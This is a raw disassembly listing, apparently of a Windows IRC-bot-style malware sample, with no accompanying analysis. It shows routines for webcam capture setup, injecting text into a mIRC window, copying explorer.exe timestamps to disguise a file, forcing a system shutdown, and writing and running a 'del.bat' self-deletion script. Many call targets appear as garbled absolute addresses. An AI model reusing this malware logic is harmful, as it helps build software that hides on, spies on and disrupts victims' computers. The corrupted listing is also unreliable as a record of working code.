ebx jz short loc_40A3A7 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43F5DC, eax call esi cmp dword_43F5DC, ebx mov dword_43F6DC, eax jz short loc_40A3B2 cmp eax, ebx jnz short loc_40A3BC jmp short loc_40A3B2 ; --------------------------------------------------------------------------- loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej nop call near ptr 2630313h mov dword_43F784, eax loc_40A3B2: ; CODE XREF: sub_40981F+B80j ; sub_40981F+B86j mov dword_43F780, 1 loc_40A3BC: ; CODE XREF: sub_40981F+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A445 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43F6A4, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43F6F0, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43F62C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43F5EC, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43F684, eax call esi cmp dword_43F6A4, ebx mov dword_43F5F8, eax jz short loc_40A450 cmp dword_43F6F0, ebx jz short loc_40A450 cmp dword_43F62C, ebx jz short loc_40A450 cmp dword_43F5EC, ebx jz short loc_40A450 cmp dword_43F684, ebx jz short loc_40A450 cmp eax, ebx jnz short loc_40A45A jmp short loc_40A450 ; --------------------------------------------------------------------------- loc_40A445: ; CODE XREF: sub_40981F+BA8j nop call near ptr 2630313h mov dword_43F78C, eax loc_40A450: ; CODE XREF: sub_40981F+BFEj ; sub_40981F+C06j ... mov dword_43F788, 1 loc_40A45A: ; CODE XREF: sub_40981F+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A48F push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43F5C0, eax call esi cmp dword_43F5C0, ebx mov dword_43F698, eax jz short loc_40A49A cmp eax, ebx jnz short loc_40A4A4 jmp short loc_40A49A ; --------------------------------------------------------------------------- loc_40A48F: ; CODE XREF: sub_40981F+C46j call near ptr 2630313h nop mov dword_43F794, eax loc_40A49A: ; CODE XREF: sub_40981F+C68j ; sub_40981F+C6Ej mov dword_43F790, 1 loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40981F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43F728, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4F4 push dword_43F72C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj cmp dword_43F730, esi jz short loc_40A528 push dword_43F734 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A528: ; CODE XREF: sub_40A4AC+4Ej cmp dword_43F738, esi jz short loc_40A55C push dword_43F73C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A55C: ; CODE XREF: sub_40A4AC+82j cmp dword_43F740, esi jz short loc_40A590 push dword_43F744 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A590: ; CODE XREF: sub_40A4AC+B6j cmp dword_43F748, esi jz short loc_40A5C4 push dword_43F74C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj cmp dword_43F750, esi jz short loc_40A5F8 push dword_43F754 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej cmp dword_43F758, esi jz short loc_40A62C push dword_43F75C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A62C: ; CODE XREF: sub_40A4AC+152j cmp dword_43F760, esi jz short loc_40A660 push dword_43F764 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A660: ; CODE XREF: sub_40A4AC+186j cmp dword_43F768, esi jz short loc_40A694 push dword_43F76C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A694: ; CODE XREF: sub_40A4AC+1BAj cmp dword_43F770, esi jz short loc_40A6C8 push dword_43F774 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj cmp dword_43F778, esi jz short loc_40A6FC push dword_43F77C lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6FC: ; CODE XREF: sub_40A4AC+222j cmp dword_43F780, esi jz short loc_40A730 push dword_43F784 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A730: ; CODE XREF: sub_40A4AC+256j cmp dword_43F788, esi jz short loc_40A764 push dword_43F78C lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A764: ; CODE XREF: sub_40A4AC+28Aj cmp dword_43F790, esi jz short loc_40A798 push dword_43F794 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A798: ; CODE XREF: sub_40A4AC+2BEj lea eax, [ebp+var_200] push offset unk_42D764 push eax call sub_4172B0 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7C5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40A7C5: ; CODE XREF: sub_40A4AC+302j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx pop edi pop esi pop ebx leave retn sub_40A4AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep ; sub_40EE72+C92p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40A862 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40A862 cmp [ebp+arg_8], esi jz short loc_40A862 cmp byte ptr [eax], 0 jz short loc_40A862 push ebx push edi call sub_42274B mov ebx, eax pop ecx test ebx, ebx jz short loc_40A85D push [ebp+arg_4] push edi call sub_417880 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A856 sub eax, edi push eax push edi push ebx call sub_418C10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_417AB0 push eax push [ebp+arg_8] push ebx call sub_418DE0 push [ebp+arg_4] call sub_417AB0 add eax, esi push eax push ebx call sub_4179D0 push ebx push edi call sub_4179C0 add esp, 30h mov esi, edi loc_40A856: ; CODE XREF: sub_40A7D7+3Cj push ebx call sub_417C3B pop ecx loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj mov eax, esi pop ebx jmp short loc_40A864 ; --------------------------------------------------------------------------- loc_40A862: ; CODE XREF: sub_40A7D7+Cj ; sub_40A7D7+13j ... xor eax, eax loc_40A864: ; CODE XREF: sub_40A7D7+89j pop edi pop esi pop ebp retn sub_40A7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_417330 mov esi, [ebp+arg_0] push esi call sub_417AB0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40A89E loc_40A899: ; DATA XREF: ___:00428424o ; ___:00428468o ... or eax, 0FFFFFFFFh jmp short loc_40A911 ; --------------------------------------------------------------------------- loc_40A89E: ; CODE XREF: sub_40A868+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40A8C0 loc_40A8AA: ; CODE XREF: sub_40A868+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A8B7 cmp dl, 0Dh jnz short loc_40A8BB loc_40A8B7: ; CODE XREF: sub_40A868+48j and byte ptr [ecx+esi], 0 loc_40A8BB: ; CODE XREF: sub_40A868+4Dj inc ecx cmp ecx, eax jl short loc_40A8AA loc_40A8C0: ; CODE XREF: sub_40A868+40j xor edx, edx push edi test eax, eax jle short loc_40A8F1 lea edi, [ebp+var_7CC] loc_40A8CD: ; CODE XREF: sub_40A868+87j cmp byte ptr [edx+esi], 0 jnz short loc_40A8EC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40A8EC cmp ebx, 1F4h jge short loc_40A8F1 mov [edi], ecx inc ebx add edi, 4 loc_40A8EC: ; CODE XREF: sub_40A868+69j ; sub_40A868+74j inc edx cmp edx, eax jl short loc_40A8CD loc_40A8F1: ; CODE XREF: sub_40A868+5Dj ; sub_40A868+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40A90F lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_417390 add esp, 0Ch loc_40A90F: ; CODE XREF: sub_40A868+8Ej mov eax, ebx loc_40A911: ; CODE XREF: sub_40A868+34j pop esi pop ebx leave retn sub_40A868 endp ; =============== S U B R O U T I N E ======================================= sub_40A915 proc near ; CODE XREF: sub_40A96F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A94E push ebx mov ebx, edi loc_40A932: ; CODE XREF: sub_40A915+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A951 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A932 pop ebx loc_40A94E: ; CODE XREF: sub_40A915+18j pop edi pop esi retn sub_40A915 endp ; =============== S U B R O U T I N E ======================================= sub_40A951 proc near ; CODE XREF: sub_40A915+25p ; sub_40A96F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_419101 cmp al, 61h pop ecx jl short loc_40A96C cmp al, 7Ah jg short loc_40A96C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A96C: ; CODE XREF: sub_40A951+Ej ; sub_40A951+12j xor eax, eax retn sub_40A951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A96F proc near ; CODE XREF: sub_40C04D+10p ; sub_40C07F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417B30 push ebx push esi push edi push [ebp+arg_0] call sub_417AB0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_417AB0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A915 add esp, 14h dec esi mov edi, esi loc_40A9AD: ; CODE XREF: sub_40A96F+B6j test esi, esi jle short loc_40AA2B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_419101 pop ecx cmp eax, ebx pop ecx jz short loc_40AA23 loc_40A9D3: ; CODE XREF: sub_40A96F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_40A951 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A9F4 mov eax, ecx loc_40A9F4: ; CODE XREF: sub_40A96F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40AA27 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_419101 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A9D3 loc_40AA23: ; CODE XREF: sub_40A96F+62j dec edi dec esi jmp short loc_40A9AD ; --------------------------------------------------------------------------- loc_40AA27: ; CODE XREF: sub_40A96F+8Aj xor eax, eax jmp short loc_40AA30 ; --------------------------------------------------------------------------- loc_40AA2B: ; CODE XREF: sub_40A96F+40j mov eax, [ebp+arg_0] add eax, edi loc_40AA30: ; CODE XREF: sub_40A96F+BAj pop edi pop esi pop ebx leave retn sub_40A96F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Ep ; sub_40EE72+4AF7p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2630313h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 2710000h nop lea eax, [ebp+var_100] loc_40AA6E: ; CODE XREF: sub_40AA35+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40AA7A cmp cl, 9 jnz short loc_40AA7D loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej inc eax jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AA7D: ; CODE XREF: sub_40AA35+43j ; sub_40AA35+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40AA97 mov cl, [eax] cmp cl, 2Eh jz short loc_40AA7D cmp cl, 21h jl short loc_40AA7D loc_40AA97: ; CODE XREF: sub_40AA35+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43F798 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41782A add esp, 18h mov eax, esi pop esi leave retn sub_40AA35 endp ; =============== S U B R O U T I N E ======================================= sub_40AABF proc near ; CODE XREF: sub_40EE72+5732p push esi push 0 call dword_43F638 test eax, eax jz short loc_40AAF6 push 1 call dword_43F658 mov esi, eax test esi, esi jz short loc_40AAF6 push edi push esi nop call near ptr 272067Ch push esi mov edi, eax call near ptr 2720000h nop call dword_43F6BC mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40AAF6: ; CODE XREF: sub_40AABF+Bj ; sub_40AABF+19j xor eax, eax pop esi retn sub_40AABF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_40EE72+48C1p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43F674 mov ebp, eax cmp ebp, esi jz short loc_40AB76 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2730000h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2580000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4172B0 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43F6C4 push esi push 1 push 4C9h push ebp call dword_43F6C4 push ebx call near ptr 2720C04h nop push edi nop call near ptr 2611A31h push 1 pop eax pop ebx jmp short loc_40AB78 ; --------------------------------------------------------------------------- loc_40AB76: ; CODE XREF: sub_40AAFA+16j xor eax, eax loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj pop edi pop esi pop ebp retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB7C proc near ; CODE XREF: ___:0040E8BBp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43F724 test eax, eax jz short loc_40AC1B mov edi, 80h push esi push edi push 3 push esi mov esi, dword_424084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2740000h push ebx mov ebx, dword_424078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 2730727h push esi call ebx loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj ; sub_40AB7C+51j ... pop edi pop esi pop ebx leave retn sub_40AB7C endp ; =============== S U B R O U T I N E ======================================= sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41511F pop ecx pop ecx push 50005h push 6 call dword_43F5B0 neg eax sbb eax, eax neg eax retn sub_40AC20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p ; sub_40EE72+59D4p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42F5C0, esi push edi jz short loc_40AC66 cmp dword_43F738, esi jnz short loc_40AC66 push esi call sub_40C1AE pop ecx loc_40AC66: ; CODE XREF: sub_40AC42+13j ; sub_40AC42+1Bj call sub_416F25 lea eax, [ebp+var_764] push eax push 400h call near ptr 275113Ah nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 2630000h mov edi, eax cmp edi, esi jbe loc_40ADC6 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2620000h nop push edi call near ptr 2611A31h nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417330 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43C80C mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2700B59h push eax call near ptr 2640000h nop lea eax, [ebp+var_15C] push eax call near ptr 267029Bh nop cmp eax, 0FFFFFFFFh jz short loc_40AD6E lea eax, [ebp+var_15C] push 80h push eax call near ptr 2751040h nop loc_40AD6E: ; CODE XREF: sub_40AC42+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call near ptr 2750000h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 274056Fh nop loc_40ADC6: ; CODE XREF: sub_40AC42+72j pop edi pop esi leave retn sub_40AC42 endp ; =============== S U B R O U T I N E ======================================= sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p ; sub_401992+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short locret_40ADF2 push [esp+arg_0] call dword_43F6EC test eax, eax jnz short loc_40ADEB or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj retn sub_40ADCA endp ; =============== S U B R O U T I N E ======================================= sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p mov ecx, dword_43F590 xor eax, eax test ecx, ecx jz short locret_40AE01 call ecx locret_40AE01: ; CODE XREF: sub_40ADF3+Aj retn sub_40ADF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414556p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43F6E4 mov ecx, eax sub ecx, edi jz loc_40AEC8 sub ecx, 32h jz loc_40AEC1 sub ecx, 48h jz short loc_40AE62 sub ecx, 6Eh jz short loc_40AE5B loc_40AE44: ; CODE XREF: sub_40AE02+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DA5C push eax call sub_4172B0 add esp, 0Ch jmp short loc_40AEA2 ; --------------------------------------------------------------------------- loc_40AE5B: ; CODE XREF: sub_40AE02+40j push offset unk_42DA28 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AE62: ; CODE XREF: sub_40AE02+3Bj push [ebp+var_8] call sub_417B89 push [ebp+var_8] mov esi, eax push edi push esi call sub_417330 add esp, 10h cmp esi, edi jz short loc_40AE8F lea eax, [ebp+var_8] push ebx push eax push esi call dword_43F6E4 cmp eax, edi jz short loc_40AEC8 jmp short loc_40AE44 ; --------------------------------------------------------------------------- loc_40AE8F: ; CODE XREF: sub_40AE02+79j push offset unk_42D9E8 loc_40AE94: ; CODE XREF: sub_40AE02+5Ej ; sub_40AE02+C4j lea eax, [ebp+var_88] push eax call sub_4172B0 pop ecx pop ecx loc_40AEA2: ; CODE XREF: sub_40AE02+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40BF6D pop ecx loc_40AEB2: ; CODE XREF: sub_40AE02+C8j ; sub_40AE02+DCj push esi call sub_417C3B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AEC1: ; CODE XREF: sub_40AE02+32j push offset unk_42D9A8 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AEC8: ; CODE XREF: sub_40AE02+29j ; sub_40AE02+89j cmp [esi], edi jbe short loc_40AEB2 lea ebx, [esi+4] loc_40AECF: ; CODE XREF: sub_40AE02+DAj push ebx call dword_43F6E0 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AECF jmp short loc_40AEB2 sub_40AE02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p ; sub_401D82+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43F60C movzx eax, [ebp+var_D] push eax mov esi, offset dword_43F99C movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4172B0 add esp, 18h mov eax, esi pop esi leave retn sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp ; sub_4010B5+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AF62 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AF55: ; CODE XREF: sub_40AF39+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AF55 pop edi jmp short loc_40AF66 ; --------------------------------------------------------------------------- loc_40AF62: ; CODE XREF: sub_40AF39+Aj mov edx, [esp+4+arg_0] loc_40AF66: ; CODE XREF: sub_40AF39+27j test esi, esi pop esi jz short loc_40AF70 movzx ecx, byte ptr [edx] add eax, ecx loc_40AF70: ; CODE XREF: sub_40AF39+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43F5F4 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43F6A8 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AFE1 lea eax, [ebp+var_C0] push eax call dword_43F6EC cmp eax, ebx jz short loc_40AFE7 loc_40AFE1: ; CODE XREF: sub_40AF86+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B044 loc_40AFE7: ; CODE XREF: sub_40AF86+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DAD8 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B027 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B027: ; CODE XREF: sub_40AF86+7Fj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25E02EAh loc_40B044: ; CODE XREF: sub_40AF86+5Fj cmp eax, ebx jz short loc_40B054 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B057 ; --------------------------------------------------------------------------- loc_40B054: ; CODE XREF: sub_40AF86+C0j mov [ebp+var_4], esi loc_40B057: ; CODE XREF: sub_40AF86+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_417330 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], 